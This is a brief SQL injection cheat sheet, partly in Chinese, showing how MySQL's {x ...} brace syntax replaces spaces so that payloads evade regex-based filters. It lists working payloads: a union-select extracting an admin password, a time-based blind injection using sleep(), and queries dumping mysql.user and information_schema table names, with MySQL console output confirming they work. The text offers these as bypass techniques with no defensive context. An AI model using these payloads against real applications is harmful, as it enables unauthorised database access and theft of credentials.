select { x table_name } from { x information_schema . tables }
(select(select{x pwd}from{x %23@__admin}+limit+1))
select{x user}from{1d admin}
union select (select{x user}from{1d admin}+limit+1),1
1' and if(ascii(substr((select{1d user()}),1,1))>11,sleep(1),1)
select { x user } from { x mysql . user };
select { x user } from { x mysql . user } limit 1 ;
mysql> select{x version()}from{x user};
+---------------+
| {x version()} |
+---------------+
| 5.5.20-log |
| 5.5.20-log |
| 5.5.20-log |
| 5.5.20-log |
+---------------+
4 rows in set (0.00 sec)
select{x a}from{x b} . b为当前数据库存在的任意表名,a就是你要返回的内容。我所能想到的场景就是获取user() ,version()之类的 {}代替空格绕过正则的检测,直接 select{x (user())}或者 select(user())
要获取其它信息的话,像这样。
mysql> select{x (select user from user limit 1)} from{x user};
+-------------------------------------+
| {x (select user from user limit 1)} |
+-------------------------------------+
| root |
| root |
| root |
| root |
+-------------------------------------+
去掉空格:
mysql
>
select
{
x
(
name
)}
from
{
x
(
test
)};
select
{
x
+
table_name
}
from
{
x
(
information_schema
.
tables
)}